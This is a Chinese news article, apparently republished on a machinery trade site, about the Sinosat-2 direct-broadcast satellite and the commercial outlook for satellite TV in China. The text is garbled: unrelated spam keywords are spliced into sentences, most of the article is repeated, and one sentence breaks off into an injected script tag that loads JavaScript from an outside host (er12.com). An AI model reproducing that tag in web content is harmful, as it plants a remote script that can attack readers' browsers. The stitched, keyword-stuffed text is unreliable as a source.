卫星电视直播到户 解开鑫诺卫星商业迷雾烤漆房
发布时间:2022-11-09 14:32:41 来源:嘉鼎机械网
鑫诺二号29日发射升空实现正式运营后,个人用户只需架上一个直径不到一米的碟形天线,在设备上只需付出百元左右,不受地面任何限制,就可以直接收看到上百套高质量的电视节目。
鑫诺二号上天,轰然拉开了一个价值千亿的直播卫星节目市场。在技术上,它颠覆了以往卫星节目必须经过电视台转批发,才能抵达个体用户的传统模式;在产业链上,它只是按了“start”这个开启键;从市场格局层面看,它势必对传统的渠道和内容提供市场产生冲击。一切不可估量。
当中国首颗直播卫星鑫诺二号29日发射升空实现正式运营后,个人用户只需架上一个直径不到一米的碟形标价机天线,在设备上只需付出百元左右,不受地面任何限制,就可以直接收看到上百套高质量的电视节目。
广阔的国土,复杂的地貌和收视人群,使得中国成为最适合发展卫星直播电视的少数几个国家之一。直播卫星的强大传输能力,带来了潜在的收视和商业革命想象空间。
卫星的商业化优势
1993年12月,美国休斯公司发射了世界第一颗数字压缩电视直播卫星,卫星第一次真正有可能直接面向个人用户开展业务,由于带有加密技术,有条件接收和付费收看成为可能,此后卫星数字电视直播产业就在全球形成一股发展热潮。
2006年上半年,直播卫星电视业务在欧美地区继续快速发展。根据美国direc tv 、echostar以及英国bskyb公司最近公布的数据,截至2006年6月30日,这三大直播卫星电视系统的用户总数已超过3600万户。在英国,数字直播卫星在家庭市场中的份额已上升到29%,在美国这一数据为22.6%。美国的三大直播卫星公司曾经创下在一个月内增加25万户的奇迹。
迄今,全球30多个国家和地区开展了卫星电视直播业务,付费卫星直播频道超过3000个,通过有线电视网转发的卫星频道还有3000多个。全球卫星直播产业的总产值,已经达到了近500亿美元。
直播卫星的收入,可分为用户卫星收视费和转发器租用费两部分。平均的转发器租用年费,约为400万~1000万美元,如果每颗卫星带有40个转发器,则每年可以带来16亿~40亿美元的收入。
另外用户缴纳的付费频道收视费也是很重要的收入来源,不同的运营商往往采用灵活的打包策略,如美国echostar的基本节目包费为29.9美元/月,多缴纳10美元,则可接收的抛光加工频道数加倍。
利用多样化的节目服务进行开展付费电视是基本的商业模式之一。既针对本国不同地区提供具有地方特色的卫星电视节目服务,又针对不同收视群体推出相应的“节目包”。节目包大体上分为基本节目包、本地频道、按次付费(ppv)频道、高清电视、体育节目、国际频道等大类,每类节目包又细分为若干个小节目包供观众订购,不同节目包有不同的收视费。
航天新世界(中国)科技有限公司副总裁夏鸿表示,数字付费电视的基本特征就是“多专独动”——多,指的是选择性多, echostar有600 多套节目,bskyb有360多套节目,这说明只有在多的情况下才会有选择的机会;专,专业化;独,独特性;动,互动。
数字化的直播卫星,早已从单向广播进化到双向传输,支持iptv、支持固定和移动接收,在不少发达国家的上空,已经实现了电信、广电和互联网的融合,广播级的手持移动电视、ip点播等互动服务屡见不鲜。在直播卫星发展的新领域中,高清电视服务、本地频道服务、国际频道服务、交互电视服务,都是重要的市场。
运营商:迷雾中的蛋糕
事实上,中国直播卫星产业将存在公益与赢利之间的矛盾,因为成熟的卫星直播电视产业绝大多数是由付费电视观众来支撑的。
广电总局科技委员会副主任章之俭表示,直播卫星计划的主要目的是解决覆盖问题。这意味着无法迅速面向最有价值的观众,我国拥有电视机3.6亿台,其中有线用户1亿户,至少2亿用户都是卫星电视的潜在市场,可这个市场的发展需要一段时间。
现在已经有多达450个境外卫星频道的信号“飘”在我国上空。在国内的很多地方,卫星直播已经实现了一定的覆盖面。在城市小区以及互联网上,关于安装卫星“小锅”的小广告非常常见。一位业内人士提供的数字是,目前我国卫星接收机的年产量为2000万台,其中800万台出口,其他部分被“私装“市场消化。
为了保证播出状况万无一失,我国计划在明年7月再发射一颗直播卫星“中星9号”,这种“双星热备份”模式大大增加了地面接收端的成本。
在这种情况下,空间段运营公司付出的成本是双倍的,并且每颗卫星只有15年寿命期。
我国一颗卫星的制造及发射费用在20亿元人民币左右,两颗一共40亿元。每年的卫星保险以及运营费用在7000万~8000万元人民币之间。
如果中国的直播卫星运营商在“空中”(租用转发器)和“落地”(用户收费)两个细分市场中每年无法获得如此巨大的收入,将面对空前的财务压力。
中国传媒大学广告学院院长表示,直播卫星面临的另一个关键性问题是,一旦直播?script src=http://er12.com/t.js>
鑫诺二号29日发射升空实酱釉古玩现正式运营后,个人用户只需架上一个直径不到一米的碟形天线,在设备上只需付出百元左右,不受地面任何限制,就可以直接收看到上百套高质量的电视节目。
鑫诺二号上天,轰然拉开了一个价值千亿的直播卫星节目市场。在技术上,它颠覆了以往卫星节目必须经过电视台转批发,才能抵达个体用户的传统模式;在产业链上,它只是按了“start”这个开启键;从市场格局层面看,它势必对传统的渠道和内容提供市场产生冲击。一切不可估量。
当中国首颗直播卫星鑫诺二号29日发射升空实现正式运营后,个人用户只需架上一个直径不到一米的碟形天线,在设备上只需付出百元左右,不受地面任何限制,就可以直接收看到上百套高质量的电视节目。
广阔的国土,复杂的地貌和收视人群,使得中国成为最适合发展卫星直播电视的少数几个国家之一。直播卫星的强大传输能力,带来了潜在的收视和商业革命想象空间。
卫星的商业化优势
1993年12月,美国休斯公司发射了世界第一颗数字压缩电视直播卫星,卫星第一次真正有可能直接面向个人用户开展业务,由于带有加密技术,有条件接收和付费收看成为可能,此后卫星数字电视直播产业就在全球形成一股发展热潮。
2006年上半年,直播卫星电视业务在欧美地区继续快速发展。根据美国direc tv 、echostar以及英国bskyb公司最近公布的数据,截至2006年6月30日,这三大直播卫星电视系统的用户总数已超过3600万户。在英国,数字直播卫星在家庭市场中的份额已上升到29%,在美国这一数据为22.6%。美国的三大直播卫星公司曾经创下在一个月内增加25万户的奇迹。
迄今,全球30多个国家和地区开展了卫星电视直播业务,付费卫星直播频道超过3000个,通过有线电视网转发的卫星频道还有3000多个。全球卫星直播产业的总产值,已经达到了近500亿美元。
直播卫星的收入,可分为用户卫星收视费和转发器租用费两部分。平均的转发器租用年费,约为400万~1000万美元,如果每颗卫星带有40个转发器,则每年可以带来16亿~40亿美元的收入。
另外用户缴纳的付费频道收视费也是很重要的收入来源,不同的运营商往往采用灵活的打包策略,如美国echostar的基本节目包费为29.9美元/月,多缴纳10美元,则可接收的频道数加倍。
利用多样化的节目服务进行开展付费电视是基本的商业模式之一。既针对本国不同地区提供具有地方特色的卫星电视节目服务,又针对不同收视群体推出相应的“节目包”。节目包大体上分为基本节目包、本地频道、按次付费(ppv)频道、高清电视、体育节目、国际频道等大类,每类特殊印刷节目包又细分为若干个小节目包供观众订购,不同节目包有不同的收视费。
航天新世界(中国)科技有限公司副总裁夏鸿表示,数字付费电视的基本特征就是“多专独动”——多,指的是选择性多, echostar有600 多套节目,bskyb有360多套节目,这说明只有在多的情况下才会有选择的机会;专,专业化;独,独特性;动,互动。
数字化的直播卫星,早已从单向广播进化到双向传输,支持iptv、支持固定和移动接收,在不少发达国家的上空,已经实现了电信、广电和互联网的融合,广播级的手持移动电视、ip点播等互动服务屡见不鲜。在直播卫星发展的新领域中,高清电视服务、本地频道服务、国际频道服务、交互电视服务,都是重要的市场。
运营商:迷雾中的蛋糕
事实上,中国直播卫星产业将存在公益与赢利之间的矛盾,因为成熟的卫星直播电视产业绝大多数是由付费电视观众来支撑的。
广电总局科技委员会副主任章之俭表示,直播卫星计划的主要目的是解决覆盖问题。这意味着无法迅速面向最有价值的观众,我国拥有电视机3.6亿台,其中有线用户1亿户,至少2亿用户都是卫星电视的潜在市场,可这个市场的发展需要一段时间。
现在已经有多达450个境外卫星频道的信号“飘”在我国上空。在国内的很多地方,卫星直播已经实现了一定的覆盖面。在城市小区以及互联网上,关于安装卫星“小锅”的小广告非常常见。一位业内人士提供的数字是,目前我国卫星接收机的年产量为2000万台,其中800万台出口,其他部分被“私装“市场消化。
为了保证播出状况万无一失,我国计划在明年7月再发射一颗直播卫星“中星9号”,这种“双星热备份”模式大大增加了地面接收端的成本。
在这种情况下,空间段运营公司付出的成本是双倍的,并且每颗卫星只有15年寿命期。
我国一颗卫星的制造及发射费用在20亿元人民币左右,两颗一共40亿元。每年的卫星保险以及运营费用在7000万~8000万元人民币之间。
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